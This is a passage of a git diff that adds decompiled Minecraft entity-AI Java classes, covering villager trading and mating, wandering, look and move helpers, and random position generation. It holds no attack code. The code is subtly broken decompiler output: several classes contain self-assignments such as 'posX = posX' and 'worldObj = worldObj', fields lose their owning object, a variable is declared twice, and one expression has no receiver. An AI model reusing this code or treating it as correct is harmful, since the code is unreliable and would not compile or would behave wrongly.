+          return false;
+        }
+      }
+      else
+      {
+        targetX = temptingPlayer.posX;
+        targetY = temptingPlayer.posY;
+        targetZ = temptingPlayer.posZ;
+      }
+      
+      field_75278_f = temptingPlayer.rotationPitch;
+      field_75279_g = temptingPlayer.rotationYaw;
+    }
+    
+    return shouldExecute();
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    targetX = temptingPlayer.posX;
+    targetY = temptingPlayer.posY;
+    targetZ = temptingPlayer.posZ;
+    isRunning = true;
+    field_75286_m = ((PathNavigateGround)temptedEntity.getNavigator()).func_179689_e();
+    ((PathNavigateGround)temptedEntity.getNavigator()).func_179690_a(false);
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    temptingPlayer = null;
+    temptedEntity.getNavigator().clearPathEntity();
+    delayTemptCounter = 100;
+    isRunning = false;
+    ((PathNavigateGround)temptedEntity.getNavigator()).func_179690_a(field_75286_m);
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    temptedEntity.getLookHelper().setLookPositionWithEntity(temptingPlayer, 30.0F, temptedEntity.getVerticalFaceSpeed());
+    
+    if (temptedEntity.getDistanceSqToEntity(temptingPlayer) < 6.25D)
+    {
+      temptedEntity.getNavigator().clearPathEntity();
+    }
+    else
+    {
+      temptedEntity.getNavigator().tryMoveToEntityLiving(temptingPlayer, field_75282_b);
+    }
+  }
+  
+
+
+
+  public boolean isRunning()
+  {
+    return isRunning;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAITradePlayer.java b/src/minecraft/net/minecraft/entity/ai/EntityAITradePlayer.java
new file mode 100644
index 0000000..3e8c2a9
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAITradePlayer.java
@@ -0,0 +1,61 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.passive.EntityVillager;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.inventory.Container;
+
+public class EntityAITradePlayer extends EntityAIBase
+{
+  private EntityVillager villager;
+  private static final String __OBFID = "CL_00001617";
+  
+  public EntityAITradePlayer(EntityVillager p_i1658_1_)
+  {
+    villager = p_i1658_1_;
+    setMutexBits(5);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (!villager.isEntityAlive())
+    {
+      return false;
+    }
+    if (villager.isInWater())
+    {
+      return false;
+    }
+    if (!villager.onGround)
+    {
+      return false;
+    }
+    if (villager.velocityChanged)
+    {
+      return false;
+    }
+    
+
+    EntityPlayer var1 = villager.getCustomer();
+    return villager.getDistanceSqToEntity(var1) > 16.0D ? false : var1 == null ? false : openContainer instanceof Container;
+  }
+  
+
+
+
+
+  public void startExecuting()
+  {
+    villager.getNavigator().clearPathEntity();
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    villager.setCustomer(null);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIVillagerInteract.java b/src/minecraft/net/minecraft/entity/ai/EntityAIVillagerInteract.java
new file mode 100644
index 0000000..6959178
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIVillagerInteract.java
@@ -0,0 +1,103 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.passive.EntityVillager;
+import net.minecraft.init.Items;
+import net.minecraft.inventory.InventoryBasic;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.MathHelper;
+
+public class EntityAIVillagerInteract extends EntityAIWatchClosest2
+{
+  private int field_179478_e;
+  private EntityVillager field_179477_f;
+  private static final String __OBFID = "CL_00002251";
+  
+  public EntityAIVillagerInteract(EntityVillager p_i45886_1_)
+  {
+    super(p_i45886_1_, EntityVillager.class, 3.0F, 0.02F);
+    field_179477_f = p_i45886_1_;
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    super.startExecuting();
+    
+    if ((field_179477_f.func_175555_cq()) && ((closestEntity instanceof EntityVillager)) && (((EntityVillager)closestEntity).func_175557_cr()))
+    {
+      field_179478_e = 10;
+    }
+    else
+    {
+      field_179478_e = 0;
+    }
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    super.updateTask();
+    
+    if (field_179478_e > 0)
+    {
+      field_179478_e -= 1;
+      
+      if (field_179478_e == 0)
+      {
+        InventoryBasic var1 = field_179477_f.func_175551_co();
+        
+        for (int var2 = 0; var2 < var1.getSizeInventory(); var2++)
+        {
+          ItemStack var3 = var1.getStackInSlot(var2);
+          ItemStack var4 = null;
+          
+          if (var3 != null)
+          {
+            Item var5 = var3.getItem();
+            
+
+            if (((var5 == Items.bread) || (var5 == Items.potato) || (var5 == Items.carrot)) && (stackSize > 3))
+            {
+              int var6 = stackSize / 2;
+              stackSize -= var6;
+              var4 = new ItemStack(var5, var6, var3.getMetadata());
+            }
+            else if ((var5 == Items.wheat) && (stackSize > 5))
+            {
+              int var6 = stackSize / 2 / 3 * 3;
+              int var7 = var6 / 3;
+              stackSize -= var6;
+              var4 = new ItemStack(Items.bread, var7, 0);
+            }
+            
+            if (stackSize <= 0)
+            {
+              var1.setInventorySlotContents(var2, null);
+            }
+          }
+          
+          if (var4 != null)
+          {
+            double var11 = field_179477_f.posY - 0.30000001192092896D + field_179477_f.getEyeHeight();
+            EntityItem var12 = new EntityItem(field_179477_f.worldObj, field_179477_f.posX, var11, field_179477_f.posZ, var4);
+            float var8 = 0.3F;
+            float var9 = field_179477_f.rotationYawHead;
+            float var10 = field_179477_f.rotationPitch;
+            motionX = (-MathHelper.sin(var9 / 180.0F * 3.1415927F) * MathHelper.cos(var10 / 180.0F * 3.1415927F) * var8);
+            motionZ = (MathHelper.cos(var9 / 180.0F * 3.1415927F) * MathHelper.cos(var10 / 180.0F * 3.1415927F) * var8);
+            motionY = (-MathHelper.sin(var10 / 180.0F * 3.1415927F) * var8 + 0.1F);
+            var12.setDefaultPickupDelay();
+            field_179477_f.worldObj.spawnEntityInWorld(var12);
+            break;
+          }
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIVillagerMate.java b/src/minecraft/net/minecraft/entity/ai/EntityAIVillagerMate.java
new file mode 100644
index 0000000..ef9e943
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIVillagerMate.java
@@ -0,0 +1,142 @@
+package net.minecraft.entity.ai;
+
+import java.util.Random;
+import net.minecraft.entity.passive.EntityVillager;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.village.Village;
+import net.minecraft.world.World;
+
+public class EntityAIVillagerMate extends EntityAIBase
+{
+  private EntityVillager villagerObj;
+  private EntityVillager mate;
+  private World worldObj;
+  private int matingTimeout;
+  Village villageObj;
+  private static final String __OBFID = "CL_00001594";
+  
+  public EntityAIVillagerMate(EntityVillager p_i1634_1_)
+  {
+    villagerObj = p_i1634_1_;
+    worldObj = worldObj;
+    setMutexBits(3);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (villagerObj.getGrowingAge() != 0)
+    {
+      return false;
+    }
+    if (villagerObj.getRNG().nextInt(500) != 0)
+    {
+      return false;
+    }
+    
+
+    villageObj = worldObj.getVillageCollection().func_176056_a(new net.minecraft.util.BlockPos(villagerObj), 0);
+    
+    if (villageObj == null)
+    {
+      return false;
+    }
+    if ((checkSufficientDoorsPresentForNewVillager()) && (villagerObj.func_175550_n(true)))
+    {
+      net.minecraft.entity.Entity var1 = worldObj.findNearestEntityWithinAABB(EntityVillager.class, villagerObj.getEntityBoundingBox().expand(8.0D, 3.0D, 8.0D), villagerObj);
+      
+      if (var1 == null)
+      {
+        return false;
+      }
+      
+
+      mate = ((EntityVillager)var1);
+      return (mate.getGrowingAge() == 0) && (mate.func_175550_n(true));
+    }
+    
+
+
+    return false;
+  }
+  
+
+
+
+
+
+  public void startExecuting()
+  {
+    matingTimeout = 300;
+    villagerObj.setMating(true);
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    villageObj = null;
+    mate = null;
+    villagerObj.setMating(false);
+  }
+  
+
+
+
+  public boolean continueExecuting()
+  {
+    return (matingTimeout >= 0) && (checkSufficientDoorsPresentForNewVillager()) && (villagerObj.getGrowingAge() == 0) && (villagerObj.func_175550_n(false));
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    matingTimeout -= 1;
+    villagerObj.getLookHelper().setLookPositionWithEntity(mate, 10.0F, 30.0F);
+    
+    if (villagerObj.getDistanceSqToEntity(mate) > 2.25D)
+    {
+      villagerObj.getNavigator().tryMoveToEntityLiving(mate, 0.25D);
+    }
+    else if ((matingTimeout == 0) && (mate.isMating()))
+    {
+      giveBirth();
+    }
+    
+    if (villagerObj.getRNG().nextInt(35) == 0)
+    {
+      worldObj.setEntityState(villagerObj, (byte)12);
+    }
+  }
+  
+  private boolean checkSufficientDoorsPresentForNewVillager()
+  {
+    if (!villageObj.isMatingSeason())
+    {
+      return false;
+    }
+    
+
+    int var1 = (int)(villageObj.getNumVillageDoors() * 0.35D);
+    return villageObj.getNumVillagers() < var1;
+  }
+  
+
+  private void giveBirth()
+  {
+    EntityVillager var1 = villagerObj.func_180488_b(mate);
+    mate.setGrowingAge(6000);
+    villagerObj.setGrowingAge(6000);
+    mate.func_175549_o(false);
+    villagerObj.func_175549_o(false);
+    var1.setGrowingAge(41536);
+    var1.setLocationAndAngles(villagerObj.posX, villagerObj.posY, villagerObj.posZ, 0.0F, 0.0F);
+    worldObj.spawnEntityInWorld(var1);
+    worldObj.setEntityState(var1, (byte)12);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIWander.java b/src/minecraft/net/minecraft/entity/ai/EntityAIWander.java
new file mode 100644
index 0000000..e20c26e
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIWander.java
@@ -0,0 +1,89 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.util.Vec3;
+
+public class EntityAIWander extends EntityAIBase
+{
+  private EntityCreature entity;
+  private double xPosition;
+  private double yPosition;
+  private double zPosition;
+  private double speed;
+  private int field_179481_f;
+  private boolean field_179482_g;
+  private static final String __OBFID = "CL_00001608";
+  
+  public EntityAIWander(EntityCreature p_i1648_1_, double p_i1648_2_)
+  {
+    this(p_i1648_1_, p_i1648_2_, 120);
+  }
+  
+  public EntityAIWander(EntityCreature p_i45887_1_, double p_i45887_2_, int p_i45887_4_)
+  {
+    entity = p_i45887_1_;
+    speed = p_i45887_2_;
+    field_179481_f = p_i45887_4_;
+    setMutexBits(1);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (!field_179482_g)
+    {
+      if (entity.getAge() >= 100)
+      {
+        return false;
+      }
+      
+      if (entity.getRNG().nextInt(field_179481_f) != 0)
+      {
+        return false;
+      }
+    }
+    
+    Vec3 var1 = RandomPositionGenerator.findRandomTarget(entity, 10, 7);
+    
+    if (var1 == null)
+    {
+      return false;
+    }
+    
+
+    xPosition = xCoord;
+    yPosition = yCoord;
+    zPosition = zCoord;
+    field_179482_g = false;
+    return true;
+  }
+  
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return !entity.getNavigator().noPath();
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    entity.getNavigator().tryMoveToXYZ(xPosition, yPosition, zPosition, speed);
+  }
+  
+  public void func_179480_f()
+  {
+    field_179482_g = true;
+  }
+  
+  public void func_179479_b(int p_179479_1_)
+  {
+    field_179481_f = p_179479_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIWatchClosest.java b/src/minecraft/net/minecraft/entity/ai/EntityAIWatchClosest.java
new file mode 100644
index 0000000..c9c4fd4
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIWatchClosest.java
@@ -0,0 +1,100 @@
+package net.minecraft.entity.ai;
+
+import java.util.Random;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.world.World;
+
+public class EntityAIWatchClosest
+  extends EntityAIBase
+{
+  protected EntityLiving theWatcher;
+  protected Entity closestEntity;
+  protected float maxDistanceForPlayer;
+  private int lookTime;
+  private float field_75331_e;
+  protected Class watchedClass;
+  private static final String __OBFID = "CL_00001592";
+  
+  public EntityAIWatchClosest(EntityLiving p_i1631_1_, Class p_i1631_2_, float p_i1631_3_)
+  {
+    theWatcher = p_i1631_1_;
+    watchedClass = p_i1631_2_;
+    maxDistanceForPlayer = p_i1631_3_;
+    field_75331_e = 0.02F;
+    setMutexBits(2);
+  }
+  
+  public EntityAIWatchClosest(EntityLiving p_i1632_1_, Class p_i1632_2_, float p_i1632_3_, float p_i1632_4_)
+  {
+    theWatcher = p_i1632_1_;
+    watchedClass = p_i1632_2_;
+    maxDistanceForPlayer = p_i1632_3_;
+    field_75331_e = p_i1632_4_;
+    setMutexBits(2);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (theWatcher.getRNG().nextFloat() >= field_75331_e)
+    {
+      return false;
+    }
+    
+
+    if (theWatcher.getAttackTarget() != null)
+    {
+      closestEntity = theWatcher.getAttackTarget();
+    }
+    
+    if (watchedClass == EntityPlayer.class)
+    {
+      closestEntity = theWatcher.worldObj.getClosestPlayerToEntity(theWatcher, maxDistanceForPlayer);
+    }
+    else
+    {
+      closestEntity = theWatcher.worldObj.findNearestEntityWithinAABB(watchedClass, theWatcher.getEntityBoundingBox().expand(maxDistanceForPlayer, 3.0D, maxDistanceForPlayer), theWatcher);
+    }
+    
+    return closestEntity != null;
+  }
+  
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return closestEntity.isEntityAlive();
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    lookTime = (40 + theWatcher.getRNG().nextInt(40));
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    closestEntity = null;
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    theWatcher.getLookHelper().setLookPosition(closestEntity.posX, closestEntity.posY + closestEntity.getEyeHeight(), closestEntity.posZ, 10.0F, theWatcher.getVerticalFaceSpeed());
+    lookTime -= 1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIWatchClosest2.java b/src/minecraft/net/minecraft/entity/ai/EntityAIWatchClosest2.java
new file mode 100644
index 0000000..7d8a9b9
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIWatchClosest2.java
@@ -0,0 +1,14 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityLiving;
+
+public class EntityAIWatchClosest2 extends EntityAIWatchClosest
+{
+  private static final String __OBFID = "CL_00001590";
+  
+  public EntityAIWatchClosest2(EntityLiving p_i1629_1_, Class p_i1629_2_, float p_i1629_3_, float p_i1629_4_)
+  {
+    super(p_i1629_1_, p_i1629_2_, p_i1629_3_, p_i1629_4_);
+    setMutexBits(3);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityJumpHelper.java b/src/minecraft/net/minecraft/entity/ai/EntityJumpHelper.java
new file mode 100644
index 0000000..a04c66e
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityJumpHelper.java
@@ -0,0 +1,29 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityLiving;
+
+public class EntityJumpHelper
+{
+  private EntityLiving entity;
+  protected boolean isJumping;
+  private static final String __OBFID = "CL_00001571";
+  
+  public EntityJumpHelper(EntityLiving p_i1612_1_)
+  {
+    entity = p_i1612_1_;
+  }
+  
+  public void setJumping()
+  {
+    isJumping = true;
+  }
+  
+
+
+
+  public void doJump()
+  {
+    entity.setJumping(isJumping);
+    isJumping = false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityLookHelper.java b/src/minecraft/net/minecraft/entity/ai/EntityLookHelper.java
new file mode 100644
index 0000000..72ba500
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityLookHelper.java
@@ -0,0 +1,145 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.MathHelper;
+
+
+
+
+
+
+
+
+
+public class EntityLookHelper
+{
+  private EntityLiving entity;
+  private float deltaLookYaw;
+  private float deltaLookPitch;
+  private boolean isLooking;
+  private double posX;
+  private double posY;
+  private double posZ;
+  private static final String __OBFID = "CL_00001572";
+  
+  public EntityLookHelper(EntityLiving p_i1613_1_)
+  {
+    entity = p_i1613_1_;
+  }
+  
+
+
+
+  public void setLookPositionWithEntity(Entity p_75651_1_, float p_75651_2_, float p_75651_3_)
+  {
+    posX = posX;
+    
+    if ((p_75651_1_ instanceof EntityLivingBase))
+    {
+      posY = (posY + p_75651_1_.getEyeHeight());
+    }
+    else
+    {
+      posY = ((getEntityBoundingBoxminY + getEntityBoundingBoxmaxY) / 2.0D);
+    }
+    
+    posZ = posZ;
+    deltaLookYaw = p_75651_2_;
+    deltaLookPitch = p_75651_3_;
+    isLooking = true;
+  }
+  
+
+
+
+  public void setLookPosition(double p_75650_1_, double p_75650_3_, double p_75650_5_, float p_75650_7_, float p_75650_8_)
+  {
+    posX = p_75650_1_;
+    posY = p_75650_3_;
+    posZ = p_75650_5_;
+    deltaLookYaw = p_75650_7_;
+    deltaLookPitch = p_75650_8_;
+    isLooking = true;
+  }
+  
+
+
+
+  public void onUpdateLook()
+  {
+    entity.rotationPitch = 0.0F;
+    
+    if (isLooking)
+    {
+      isLooking = false;
+      double var1 = posX - entity.posX;
+      double var3 = posY - (entity.posY + entity.getEyeHeight());
+      double var5 = posZ - entity.posZ;
+      double var7 = MathHelper.sqrt_double(var1 * var1 + var5 * var5);
+      float var9 = (float)(Math.atan2(var5, var1) * 180.0D / 3.141592653589793D) - 90.0F;
+      float var10 = (float)-(Math.atan2(var3, var7) * 180.0D / 3.141592653589793D);
+      entity.rotationPitch = updateRotation(entity.rotationPitch, var10, deltaLookPitch);
+      entity.rotationYawHead = updateRotation(entity.rotationYawHead, var9, deltaLookYaw);
+    }
+    else
+    {
+      entity.rotationYawHead = updateRotation(entity.rotationYawHead, entity.renderYawOffset, 10.0F);
+    }
+    
+    float var11 = MathHelper.wrapAngleTo180_float(entity.rotationYawHead - entity.renderYawOffset);
+    
+    if (!entity.getNavigator().noPath())
+    {
+      if (var11 < -75.0F)
+      {
+        entity.rotationYawHead = (entity.renderYawOffset - 75.0F);
+      }
+      
+      if (var11 > 75.0F)
+      {
+        entity.rotationYawHead = (entity.renderYawOffset + 75.0F);
+      }
+    }
+  }
+  
+  private float updateRotation(float p_75652_1_, float p_75652_2_, float p_75652_3_)
+  {
+    float var4 = MathHelper.wrapAngleTo180_float(p_75652_2_ - p_75652_1_);
+    
+    if (var4 > p_75652_3_)
+    {
+      var4 = p_75652_3_;
+    }
+    
+    if (var4 < -p_75652_3_)
+    {
+      var4 = -p_75652_3_;
+    }
+    
+    return p_75652_1_ + var4;
+  }
+  
+  public boolean func_180424_b()
+  {
+    return isLooking;
+  }
+  
+  public double func_180423_e()
+  {
+    return posX;
+  }
+  
+  public double func_180422_f()
+  {
+    return posY;
+  }
+  
+  public double func_180421_g()
+  {
+    return posZ;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityMinecartMobSpawner.java b/src/minecraft/net/minecraft/entity/ai/EntityMinecartMobSpawner.java
new file mode 100644
index 0000000..c394f37
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityMinecartMobSpawner.java
@@ -0,0 +1,88 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.item.EntityMinecart;
+import net.minecraft.entity.item.EntityMinecart.EnumMinecartType;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.tileentity.MobSpawnerBaseLogic;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class EntityMinecartMobSpawner extends EntityMinecart
+{
+  private final MobSpawnerBaseLogic mobSpawnerLogic = new MobSpawnerBaseLogic()
+  {
+    private static final String __OBFID = "CL_00001679";
+    
+    public void func_98267_a(int p_98267_1_) {
+      worldObj.setEntityState(EntityMinecartMobSpawner.this, (byte)p_98267_1_);
+    }
+    
+    public World getSpawnerWorld() {
+      return worldObj;
+    }
+    
+    public BlockPos func_177221_b() {
+      return new BlockPos(EntityMinecartMobSpawner.this);
+    }
+  };
+  private static final String __OBFID = "CL_00001678";
+  
+  public EntityMinecartMobSpawner(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public EntityMinecartMobSpawner(World worldIn, double p_i1726_2_, double p_i1726_4_, double p_i1726_6_)
+  {
+    super(worldIn, p_i1726_2_, p_i1726_4_, p_i1726_6_);
+  }
+  
+  public EntityMinecart.EnumMinecartType func_180456_s()
+  {
+    return EntityMinecart.EnumMinecartType.SPAWNER;
+  }
+  
+  public IBlockState func_180457_u()
+  {
+    return net.minecraft.init.Blocks.mob_spawner.getDefaultState();
+  }
+  
+
+
+
+  protected void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    mobSpawnerLogic.readFromNBT(tagCompund);
+  }
+  
+
+
+
+  protected void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    mobSpawnerLogic.writeToNBT(tagCompound);
+  }
+  
+  public void handleHealthUpdate(byte p_70103_1_)
+  {
+    mobSpawnerLogic.setDelayToMin(p_70103_1_);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    mobSpawnerLogic.updateSpawner();
+  }
+  
+  public MobSpawnerBaseLogic func_98039_d()
+  {
+    return mobSpawnerLogic;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityMoveHelper.java b/src/minecraft/net/minecraft/entity/ai/EntityMoveHelper.java
new file mode 100644
index 0000000..e6499ef
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityMoveHelper.java
@@ -0,0 +1,122 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.MathHelper;
+
+
+public class EntityMoveHelper
+{
+  protected EntityLiving entity;
+  protected double posX;
+  protected double posY;
+  protected double posZ;
+  protected double speed;
+  protected boolean update;
+  private static final String __OBFID = "CL_00001573";
+  
+  public EntityMoveHelper(EntityLiving p_i1614_1_)
+  {
+    entity = p_i1614_1_;
+    posX = posX;
+    posY = posY;
+    posZ = posZ;
+  }
+  
+  public boolean isUpdating()
+  {
+    return update;
+  }
+  
+  public double getSpeed()
+  {
+    return speed;
+  }
+  
+
+
+
+  public void setMoveTo(double p_75642_1_, double p_75642_3_, double p_75642_5_, double p_75642_7_)
+  {
+    posX = p_75642_1_;
+    posY = p_75642_3_;
+    posZ = p_75642_5_;
+    speed = p_75642_7_;
+    update = true;
+  }
+  
+  public void onUpdateMoveHelper()
+  {
+    entity.setMoveForward(0.0F);
+    
+    if (update)
+    {
+      update = false;
+      int var1 = MathHelper.floor_double(entity.getEntityBoundingBox().minY + 0.5D);
+      double var2 = posX - entity.posX;
+      double var4 = posZ - entity.posZ;
+      double var6 = posY - var1;
+      double var8 = var2 * var2 + var6 * var6 + var4 * var4;
+      
+      if (var8 >= 2.500000277905201E-7D)
+      {
+        float var10 = (float)(Math.atan2(var4, var2) * 180.0D / 3.141592653589793D) - 90.0F;
+        entity.rotationYaw = limitAngle(entity.rotationYaw, var10, 30.0F);
+        entity.setAIMoveSpeed((float)(speed * entity.getEntityAttribute(SharedMonsterAttributes.movementSpeed).getAttributeValue()));
+        
+        if ((var6 > 0.0D) && (var2 * var2 + var4 * var4 < 1.0D))
+        {
+          entity.getJumpHelper().setJumping();
+        }
+      }
+    }
+  }
+  
+
+
+
+  protected float limitAngle(float p_75639_1_, float p_75639_2_, float p_75639_3_)
+  {
+    float var4 = MathHelper.wrapAngleTo180_float(p_75639_2_ - p_75639_1_);
+    
+    if (var4 > p_75639_3_)
+    {
+      var4 = p_75639_3_;
+    }
+    
+    if (var4 < -p_75639_3_)
+    {
+      var4 = -p_75639_3_;
+    }
+    
+    float var5 = p_75639_1_ + var4;
+    
+    if (var5 < 0.0F)
+    {
+      var5 += 360.0F;
+    }
+    else if (var5 > 360.0F)
+    {
+      var5 -= 360.0F;
+    }
+    
+    return var5;
+  }
+  
+  public double func_179917_d()
+  {
+    return posX;
+  }
+  
+  public double func_179919_e()
+  {
+    return posY;
+  }
+  
+  public double func_179918_f()
+  {
+    return posZ;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntitySenses.java b/src/minecraft/net/minecraft/entity/ai/EntitySenses.java
new file mode 100644
index 0000000..89ad809
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntitySenses.java
@@ -0,0 +1,63 @@
+package net.minecraft.entity.ai;
+
+import com.google.common.collect.Lists;
+import java.util.List;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.world.World;
+
+public class EntitySenses
+{
+  EntityLiving entityObj;
+  List seenEntities = Lists.newArrayList();
+  
+
+  List unseenEntities = Lists.newArrayList();
+  private static final String __OBFID = "CL_00001628";
+  
+  public EntitySenses(EntityLiving p_i1672_1_)
+  {
+    entityObj = p_i1672_1_;
+  }
+  
+
+
+
+  public void clearSensingCache()
+  {
+    seenEntities.clear();
+    unseenEntities.clear();
+  }
+  
+
+
+
+  public boolean canSee(Entity p_75522_1_)
+  {
+    if (seenEntities.contains(p_75522_1_))
+    {
+      return true;
+    }
+    if (unseenEntities.contains(p_75522_1_))
+    {
+      return false;
+    }
+    
+
+    entityObj.worldObj.theProfiler.startSection("canSee");
+    boolean var2 = entityObj.canEntityBeSeen(p_75522_1_);
+    entityObj.worldObj.theProfiler.endSection();
+    
+    if (var2)
+    {
+      seenEntities.add(p_75522_1_);
+    }
+    else
+    {
+      unseenEntities.add(p_75522_1_);
+    }
+    
+    return var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/RandomPositionGenerator.java b/src/minecraft/net/minecraft/entity/ai/RandomPositionGenerator.java
new file mode 100644
index 0000000..0d8740c
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/RandomPositionGenerator.java
@@ -0,0 +1,131 @@
+package net.minecraft.entity.ai;
+
+import java.util.Random;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3;
+
+
+
+
+
+public class RandomPositionGenerator
+{
+  private static Vec3 staticVector = new Vec3(0.0D, 0.0D, 0.0D);
+  
+  private static final String __OBFID = "CL_00001629";
+  
+  public RandomPositionGenerator() {}
+  
+  public static Vec3 findRandomTarget(EntityCreature p_75463_0_, int p_75463_1_, int p_75463_2_)
+  {
+    return findRandomTargetBlock(p_75463_0_, p_75463_1_, p_75463_2_, null);
+  }
+  
+
+
+
+  public static Vec3 findRandomTargetBlockTowards(EntityCreature p_75464_0_, int p_75464_1_, int p_75464_2_, Vec3 p_75464_3_)
+  {
+    staticVector = p_75464_3_.subtract(posX, posY, posZ);
+    return findRandomTargetBlock(p_75464_0_, p_75464_1_, p_75464_2_, staticVector);
+  }
+  
+
+
+
+  public static Vec3 findRandomTargetBlockAwayFrom(EntityCreature p_75461_0_, int p_75461_1_, int p_75461_2_, Vec3 p_75461_3_)
+  {
+    staticVector = new Vec3(posX, posY, posZ).subtract(p_75461_3_);
+    return findRandomTargetBlock(p_75461_0_, p_75461_1_, p_75461_2_, staticVector);
+  }
+  
+
+
+
+
+  private static Vec3 findRandomTargetBlock(EntityCreature p_75462_0_, int p_75462_1_, int p_75462_2_, Vec3 p_75462_3_)
+  {
+    Random var4 = p_75462_0_.getRNG();
+    boolean var5 = false;
+    int var6 = 0;
+    int var7 = 0;
+    int var8 = 0;
+    float var9 = -99999.0F;
+    boolean var10;
+    boolean var10;
+    if (p_75462_0_.hasHome())
+    {
+      double var11 = p_75462_0_.func_180486_cf().distanceSq(MathHelper.floor_double(posX), MathHelper.floor_double(posY), MathHelper.floor_double(posZ)) + 4.0D;
+      double var13 = p_75462_0_.getMaximumHomeDistance() + p_75462_1_;
+      var10 = var11 < var13 * var13;
+    }
+    else
+    {
+      var10 = false;
+    }
+    
+    for (int var17 = 0; var17 < 10; var17++)
+    {
+      int var12 = var4.nextInt(2 * p_75462_1_ + 1) - p_75462_1_;
+      int var18 = var4.nextInt(2 * p_75462_2_ + 1) - p_75462_2_;
+      int var14 = var4.nextInt(2 * p_75462_1_ + 1) - p_75462_1_;
+      
+      if ((p_75462_3_ == null) || (var12 * xCoord + var14 * zCoord >= 0.0D))
+      {
+
+
+        if ((p_75462_0_.hasHome()) && (p_75462_1_ > 1))
+        {
+          BlockPos var15 = p_75462_0_.func_180486_cf();
+          
+          if (posX > var15.getX())
+          {
+            var12 -= var4.nextInt(p_75462_1_ / 2);
+          }
+          else
+          {
+            var12 += var4.nextInt(p_75462_1_ / 2);
+          }
+          
+          if (posZ > var15.getZ())
+          {
+            var14 -= var4.nextInt(p_75462_1_ / 2);
+          }
+          else
+          {
+            var14 += var4.nextInt(p_75462_1_ / 2);
+          }
+        }
+        
+        var12 += MathHelper.floor_double(posX);
+        var18 += MathHelper.floor_double(posY);
+        var14 += MathHelper.floor_double(posZ);
+        BlockPos var15 = new BlockPos(var12, var18, var14);
+        
